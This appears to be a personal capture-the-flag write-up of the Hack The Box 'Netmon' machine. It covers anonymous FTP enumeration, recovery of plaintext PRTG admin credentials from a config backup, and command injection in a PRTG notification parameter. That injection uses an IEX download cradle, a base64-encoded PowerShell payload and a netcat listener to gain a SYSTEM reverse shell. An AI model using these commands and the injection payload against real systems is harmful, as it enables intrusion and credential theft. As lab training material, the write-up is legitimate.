

netmon

```
(root@kali)-[/Documents/htb/boxes/netmon]
# nmap -sC -sV -oA nmap/netmon 10.10.10.152
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-11 17:19 EDT
Nmap scan report for 10.10.10.152
Host is up (0.27s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            Microsoft ftpd
ftp-anon: Anonymous FTP login allowed (FTP code 230)
02-03-19  12:18AM          1024 .rnd
02-25-19  10:15PM          <DIR> inetpub
07-16-16  09:18AM          <DIR> PerfLogs
02-25-19  10:56PM          <DIR> Program Files
02-03-19  12:28AM          <DIR> Program Files (x86)
02-03-19  08:08AM          <DIR> Users
02-25-19  11:49PM          <DIR> Windows
80/tcp    open  http           Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
_http-server-header: PRTG/18.1.37.13946
_http-title: Welcome | PRTG Network Monitor (NETMON)
_Requested resource was /index.htm
_http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
_clock-skew: mean: 3m46s, deviation: 0s, median: 3m46s
_smb-security-mode:
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
_smb2-security-mode:
  2.02:
    Message signing enabled but not required
_smb2-time:
  date: 2021-05-11T21:24:17
  start_date: 2021-05-11T18:47:23

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.63 seconds
```

we have a read access to c:\\ drive

```
(rootkali)-[/Documents/htb/boxes/netmon]
# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> dir -a
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
05-11-21 02:47PM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19 11:44PM <DIR> Administrator
02-03-19 12:35AM <DIR> Public
226 Transfer complete.
```

```

ftp> cd Public
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
02-03-19 08:05AM <DIR> Documents
07-16-16 09:18AM <DIR> Downloads
07-16-16 09:18AM <DIR> Music
07-16-16 09:18AM <DIR> Pictures
02-03-19 12:35AM 33 user.txt
07-16-16 09:18AM <DIR> Videos
226 Transfer complete.
ftp> help
Commands may be abbreviated. Commands are:
! dir
$ disconnect
account exit
append form
ascii get
bell glob
binary hash
bye help
case idle
cd image
cdup ipany
chmod ipv4
close ipv6
cr lcd
delete ls
debug macdef
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
150 Opening ASCII mode data connection.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.23 secs (0.1403 kB/s)

```

```

(rootkali)-[/Documents/htb/boxes/netmon]
# ls
netmon.ctb netmon.ctb~ netmon.ctb~~ netmon.ctb~~~ nmap user.txt

(rootkali)-[/Documents/htb/boxes/netmon]
# cat user.txt
dd58ce67b49e15105e88096c8d9255a5

```

PRTG Network Monitor (NETMON)



Login Name

Password

Login

Factory Default Settings for the PRTG PRTG Network Monitor

Username: prtgadmin

Password: prtgadmin

IP Address: N/A

SSID: N/A

PRTG PRTG Network Monitor Default Router Login and Password

https://www.cleancss.com/router-default/PRTG/PRTG_Network_Monitor

doesn't work

windows LFI files



All Videos Images News More

Settings Tools

About 3,720,000 results (0.34 seconds)

<https://gracefulsecurity.com> > path-traversal-cheat-sheet... ▾

Path Traversal Cheat Sheet: Windows | GracefulSecurity

<https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/>


```

ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd Windows
250 CWD command successful.
ftp> get php.ini
local: php.ini remote: php.ini
200 PORT command successful.
550 The system cannot find the file specified.
ftp> cd system32
250 CWD command successful.
ftp> cd drivers
250 CWD command successful.
ftp> cd etc
250 CWD command successful.
ftp> get hosts
local: hosts remote: hosts
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
824 bytes received in 0.30 secs (2.6459 kB/s)

```

```

ftp> cd windows ftp> get php.ini
250 CWD command successful.
ftp> get win.ini
local: win.ini remote: win.ini
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
92 bytes received in 0.20 secs (0.4421 kB/s)

```

the patch level of machine

```

ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd windows
250 CWD command successful.
ftp> get windowsupdate.log
local: windowsupdate.log remote: windowsupdate.log
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
275 bytes received in 0.31 secs (0.8757 kB/s)

```

licence file for windows

```

(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# ls
hosts  license.rtf  windowsupdate.log  win.ini

```

```

(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# cat hosts
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97      rhino.acme.com      # source server
#      38.25.63.10      x.acme.com          # x client host
#
# localhost name resolution is handled within DNS itself.
#      127.0.0.1        localhost
#      ::1              localhost

```

didn't giving us extre host names

```
(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# cat license.rtf
{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fnil\fcharset0 Segoe UI;
{\colortbl ;\red0\green0\blue255;}
{\stylesheet{ Normal;}{\s1 heading 1;}{\s2 heading 2;}{\s3 heading 3;}}
{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\sa200\tx540\tx1080\tx1620\tx2160\tx2700
\b Diagnostic and Usage Information.\b0 Microsoft automatically collects this information ov
, and user experience, and the quality and security of Microsoft products and services. Consi
organization. Windows Server 2016 has four (4) information collection settings (Security, Bas
e setting by default. This level includes information required to: (i) run our antimalware a
e quality, and application usage and compatibility; and (iii) identify quality issues in the
\b Choice and Control:\b0 Administrators can change the level of information collection thro
mation, see (aka.ms/winserverdata) and the Windows Server Privacy Statement (aka.ms/winserver
\pard\nowidctlpar\sa200\qc\tx540\tx1080\tx1620\tx2160\tx2700\b *****
\pard\nowidctlpar\sa200\tx540\tx1080\tx1620\tx2160\tx2700 MICROSOFT SOFTWARE LICENSE TERMS\pa
\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sa200\tx540\tx1080\tx1620\tx2160\tx2700 MICROSO
```

```
(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# cat windowsupdate.log
Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.
```

```
(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# cat win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

windows update logs

```
ftp> cd SoftwareDistribution
250 CWD command successful.
ftp> cd download
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
```

nothing , never be updated

About 128,000 results (0.54 seconds)

<https://kb.paessler.com> > topic > 463-how-and-where-d... ▼

How and where does PRTG store its data? | Paessler ...

How **PRTG Network Monitor** stores its data · Into the program directory (core installation) · Into the data directory (monitoring **configuration**, monitoring data, logs, etc.) ...

Data directory

The default setting of the data directory depends on the PRTG Network Monitor version you are using (deprecated versions 7/8, or version 9 and later), as well as on your Windows version. The paths are also different if you have upgraded from a deprecated version 7/8 versus installed a new version 9 and later.

The default data folder is located as follows, depending on your Windows version:

Windows Server 2012 (R2), Windows Server 2016, Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Server 2008 R2:

```
%programdata%\Paessler\PRTG Network Monitor
```

```
ftp> cd "PRTG Network Monitor"
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-11-21 03:29PM <DIR> Configuration Auto-Backups
05-11-21 02:48PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
05-11-21 02:48PM <DIR> Logs (Web Server)
05-11-21 02:53PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
05-11-21 06:17PM 1714490 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
```



```
ftp> get "PRTG Configuration.dat"
local: PRTG Configuration.dat remote: PRTG Configuration.dat
200 PORT command successful.
125 Data connection already open; Transfer starting.

226 Transfer complete.
1189697 bytes received in 33.37 secs (34.8126 kB/s)
```

```
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1153755 bytes received in 26.02 secs (43.3082 kB/s)
```

```
(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# grep -i -B5 -A5 password PRTG Configuration.old.bak | sed 's/ //g' | sort -u
```

```
<password>
PDWXMOPZT43U2GKGR3YCBILXDMLAUZVBN27KGBOPKXRQ=====
</playsound>
<playsound>
<position>
</privatekey>
<privatekey>
</proxy>
<proxy>
</proxypassword>
<proxypassword>
</proxyport>
<proxyport>
PrTg@dmin2018
PRTGSystemAdministrator
<retrysnmp>
<!-- User: prtgadmin -->
```

```
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
```

prtgadmin:PrTg@dmin2018

PRTG Network Monitor (NETMON)

Your login has failed. Please try again!

Login Name prtgadmin

Password

Login

Lets try to login smb with this

```
(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# smbmap -u prtgadmin -p 'PrTg@dmin2018' -d netmon -H 10.10.10.152
[!] Authentication error on 10.10.10.152
```

```
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
```

the config are done on 2019 and the old config's password are in 2018 what is the chance that is the current password is PrTg@dmin2019 instead of PrTg@dmin2018

The screenshot shows the PRTG Network Monitor web interface. At the top, there's a navigation bar with links to Home, Devices, Libraries, Sensors, Alarms, Maps, Reports, Logs, Tickets, and Setup. Below this, the main header says "Welcome PRTG System Administrator!". On the right, there's a TRUSTPILOT badge and a "Write a review" link. The main content area is divided into two sections: "All Sensors" and "Current Alarms". The "All Sensors" section shows a list of sensors with their status: 4 Down, 0 Down (Acknowledged), 1 Warning, 8 Up, 2 Paused, 0 Unusual, and 0 Unknown. The "Current Alarms" section shows a list of alarms with their status: 4 Down, 0 Down (Acknowledged), 1 Warning, and 0 Unusual. At the bottom, there's a blue banner with the text "Update Available" and "Installed Version 18.1.37.13946". It also mentions "Latest Version Available from Paessler 18.4.47.1962" with a "NEW" tag and an "Install Update" button.

actually it is

Notifications

Show Filters ▾

Object ▾	Active/Paused ⌵	✎
🔔 Email and push notification to admin	Active	✎
🔔 Email to all members of group PRTG U...	Active	✎
🔔 Ticket Notification	Active	✎

<< 1 to 3 of 3 >>

Execute Program

Program File

Demo exe notification - outfile.ps1

Parameter

test | ping -n 1 10.10.14.23|

Domain or Computer Name

```
(root@kali)-[/Documents/htb/boxes/netmon/ftp]
# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:05:06.368537 IP 10.10.10.152 > 10.10.14.23: ICMP echo request, id 1, seq 7802, length 40
19:05:06.368555 IP 10.10.14.23 > 10.10.10.152: ICMP echo reply, id 1, seq 7802, length 40
```

```
(root@kali)-[/Documents/htb/boxes/netmon/www]
# cp /root/Downloads/nishang/Shells/Invoke-PowerShellTcp.ps1 .

(root@kali)-[/Documents/htb/boxes/netmon/www]
# mv Invoke-PowerShellTcp.ps1 reverse.ps1

(root@kali)-[/Documents/htb/boxes/netmon/www]
# geany reverse.ps1
```

```
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.23 -Port 1337|
```

Parameter

```
test | IEX(New-Object Net.WebClient).downloadString('http://10.10.14.23:8000/reverse.ps1|)
```

```
test | IEX(New-Object Net.WebClient).downloadString("http://10.10.14.23:8000/reverse.ps1")
```

```
(root@kali)-[/Documents/htb/boxes/netmon/www]
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000
10.10.10.152 - - [11/May/2021 19:13:51] "GET /reverse.ps1 HTTP/1.1" 200 -
10.10.10.152 - - [11/May/2021 19:14:05] "GET /reverse.ps1 HTTP/1.1" 200 -
10.10.10.152 - - [11/May/2021 19:16:45] "GET /reverse.ps1 HTTP/1.1" 200 -
```

get nothing

encode it to remove bad character

```
(root@kali)-[/Documents/htb/boxes/netmon/www]
# cat reverse.ps1 | iconv -t UTF-16LE | base64 -w0
ZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBQAG8AdwBIAHIAUwBoAGUAbABsAFQAYwBwACAACgB7ACAACgA8ACMA
AHcAaABpAGMAaAAGAGMAYQBwACAAYgB1ACAAdQBzAGUAZAAGAGYAbwByACAAUgB1AHYAZQByAHMAZQAgAG8AcgAgAEIAaQBw
ZgByAG8AbQAgAGEAIAIB0AGEAcgBnAGUAdAAuACAACgAKAC4ARABFAFMAQwBSAEkAUABUAekATwBOAAoAVABoAGkAcwAgAHMA
AG8AIAbhACAACwB0AGEAbgBkAGEAcgBkACAAbgB1AHQAYwBhAHQAIABsAGkAcwB0AGUAbgBpAG4AZwAgAG8AbgAgAGEAIABw
cwB1ACAACwB3AGkAdABjAGgALgAgAAoAQQBsAHMAbwAsACAAYQAgAHMAdABhAG4AZABhAHIAZAAGAG4AZQB0AGMAYQB0ACAA
ACAAQgBpAG4AZAAGAHQAbwAgAGEAIABzAHAAZQBjAGkAZgBpAGMAIABwAG8AcgB0AC4ACgAKAFQAaAB1ACAACwBjAHIAaQBw
bgAgAHcAcgBpAHQAdAB1AG4AIABiAHkAIABCAGUAbgAgAFQAdQByAG4AZQByACAAJgAgAEQAYQB2AGUAIABIAGEAcgBkAHkA
ACAASQBQACAAYQBkAGQAcgB1AHMAcwAgAHQAbwAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIAIB3AGgAZQBwACAAdQBzAGkAbgBn
QQBSAEeATQBFAFQARQBSACAAUABvAHIAAdAAKAFQAaAB1ACAACwBvAHIAAdAAGAHQAbwAgAGMAbwBuAG4AZQBjAHQAIAB0AG8A
AHcAaQB0AGMAaAAuACAAYwBoAGUAbgAgAHUAcwBpAG4AZwAgAC0AQgBpAG4AZAAGAGkAdAAgAGkAcwAgAHQAaAB1ACAACwBv
```

Parameter

```
saad | powershell -enc ZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBQAG8AdwBIAHIAUwBoAGUAbABsAFQA
```

```
(root@kali)-[/Documents/htb/boxes/netmon]
# nc -lvp 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.152.
Ncat: Connection from 10.10.10.152:53748.
Windows PowerShell running as user NETMON$ on NETMON
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt authority\system
```



```
PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> dir
```

Directory: C:\Users\Administrator\Desktop

Mode	LastWriteTime	Length	Name
-a	2/2/2019 11:35 PM	33	root.txt

```
PS C:\Users\Administrator\Desktop> type root.txt
3018977fb944bf1878f75b879fba67cc
PS C:\Users\Administrator\Desktop> 
```